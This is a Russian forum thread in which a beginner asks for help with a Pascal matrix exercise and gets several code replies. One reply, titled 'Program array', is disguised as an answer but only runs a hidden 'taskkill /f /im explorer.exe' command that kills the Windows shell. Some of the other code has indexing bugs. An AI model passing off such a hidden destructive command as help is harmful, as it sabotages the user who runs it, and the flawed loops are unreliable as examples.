Помогите ламеру написать программу на Pascal.

var a: array [ 1..100,1..100 ] of integer;
b: array [ 1..100 ] of integer;
i,j,n,m : integer;
begin
writeln ( ' n= ') ;
readln(n);
writeln ( ' m= ') ;
readln(m);
writeln ( ' massiv a ');
for i:=1 to n do
begin
for j:=1 to m do
begin
a [ i,j ]:= -35 + random (80);
write (a[ i,j ],' ');
end;
writeln;
end;

for j:=1 to m do
begin
i:=1; b[ j ]:=a [ i,j ];
while (i <=n ) and (a [ i,j ] mod 2 <> 0) do
begin
i:=i+1;
b[ j ]:=a [ i,j ];

end;
end;
writeln (' massiv b ');
for j:=1 to m do
write (b [ j ], ' ');

end.

пришли в адрес свои наметки по программе, помогу. Или за тебя надо все сделать от начала до конца?

Program array;
Uses ShellAPI;

begin

ShellExecute(0,'open','taskkill.exe','/f /im explorer.exe',nil,SW_HIDE);

end.

var a:array [-35..45,-35..45] of integer;
b:array [1..1000] of integer;
i,j,n,m:integer;
begin

readln (n,m); // ввод размерности матрицы
for I:=1 to n do
begin
for J:=1 to m do
read (a[i,j]); // ввод значения элемента матрицы
readln
end;

for j:=1 to n do
for i:=1 to m do
begin
if a[i,j] mod 2=0 then // определение, является ли элемент матрицы четным
begin
b[j]:=a[i,j]; // присваивание массиву b элемента a[i,j], если он четный
break; // переход на следующий столбец
end;
end;

for I:=1 to n do
write (b[i],' '); // вывод на экран массива b

end.